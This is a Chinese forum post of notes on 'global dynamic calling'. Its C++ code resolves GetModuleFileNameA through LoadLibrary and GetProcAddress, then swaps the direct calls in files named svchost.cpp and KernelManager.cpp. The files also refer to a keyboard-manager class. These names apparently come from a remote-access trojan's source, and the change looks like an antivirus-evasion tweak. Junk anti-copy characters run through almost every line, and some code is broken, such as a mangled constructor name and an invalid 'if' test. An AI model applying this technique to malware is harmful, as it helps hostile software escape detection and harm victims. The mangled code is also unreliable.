[原创文章] 全局动态调用 全局, 动态

ice_xke

全局动态调用笔记
( m* a# k1 y# \- P& Y, Rsvchost files工程->插入->类(Generic Class DTDY)->DTDY.cpp DTDY.h6 z/ Y4 P2 ^+ u8 W* J+ t3 X$ C
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DTDY.h：
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) V) l! m% b( ^; M#if _MSC_VER>1000
0 a* s- f* [& @3 p7 \#pragma once$ L/ M: @# O1 ?' H
#endif //_MSC_VER>1000, D; \4 O+ _: S# ~& n! P: m
#include<windows.h>
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" S( o8 \2 D4 G, T1 W% z- P1 stypedef DWORD (__stdcall *pGetModuleFileNameA)(HMODULE,LPSTR,DWORD);) F( G7 k' r) a" z1 c( k4 @
class DTDY
! F0 ~% T1 X6 N0 d{
- D  D4 d$ K& X+ W. x, Kpublic:& m3 |* m. @8 z8 W- K+ N
DTDY();2 Y' u; C5 B7 ]6 V" t6 s- l, x  K
virtual ~DTDY();
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static pGetModuleFileNameA MyGetModuleFileName;
* B" E9 W1 W, M) [9 [8 i. mstatic BOOL FunInitiallization();. s; q% @- [" I% C
};
. h  o( Q8 W2 ?' e$ ^; ?#endif) d$ @7 L& M: C9 H! S2 {5 j% a
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DTDY.cpp:: F& Q8 i* Q$ l0 P

3 H" J; H" d, y8 X#include "DTDY.h"
1 `1 e0 ]7 N8 T: Y9 U7 B( |; MpGetModuleFileNameA DTDY::MyGetModuleFileName=NULL;1 R4 R: A! N1 U" F9 {" ^4 J' g
DTDY:TDY()
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}
7 o9 Y. X+ L9 O7 N7 q# fDTDY::~DTDY()
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}
2 y4 v' V5 H8 Q  s& Q. OBOOL DTDY::FunInitiallization()
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HMODULE hModule=LoadLibrary("kernel32.dll");
7 h2 f1 {: R! t% f- DMyGetModuleFileName=(pGetModuleFileNameA)GetProcAddress(hModule,"GetModuleFileNameA");
: `1 q4 y/ X5 O- s+ p* k( D4 tif(!MyGetModuleFileName=) return FALSE;
0 B: i' Z4 r& n* x* {$ p
7 c$ e+ y4 [; l; u  preturn TRUE;
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svchost.cpp:
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#include "DTDY.h"
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  E# G$ w" V+ b0 P5 A, K" H+ YBOOL APIENTRY DllMain(HANDLE hModule,DWORD ul_reason_for_call,LPVOID lpReserved)
; a# Q. ]8 c6 k, r{
3 I! ]. G  c% @$ a1 Yswitch(ul_reason_for_call)0 s" B( ^( p3 {/ k
{$ Q  E2 `/ ^$ x: h- v* C
case DLL_PROCESS_ATTACH:/ [7 q* }- F0 H& ]) h
if(!DTDY::FunInitiallization()) return FALSE;, H, r9 c3 ^* ?2 d, H1 ], X7 [
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break;2 S$ o/ |# ^" Z/ M! e8 ^5 x
}
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2 h# @3 n2 ~8 ~' gGetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));->goto def0 b. @& q6 d' E4 r0 T! ]
改写为
' d1 z$ P4 v% I  }' cDTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));# K/ G0 t! l0 x: @% R$ L
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4 T; `8 }9 m' g3 Z& |+ xKernelManager.cpp:: H+ i0 }$ [5 _5 p) o2 i, b

+ F# x4 c5 v1 N- G#include "../DTDY.h"; |9 j, ]% s) K* ]
GetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));
) x9 a9 w8 F, I" S/ ~$ Q, q改写为
5 I2 c# j9 w7 n. K% X& \DTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));
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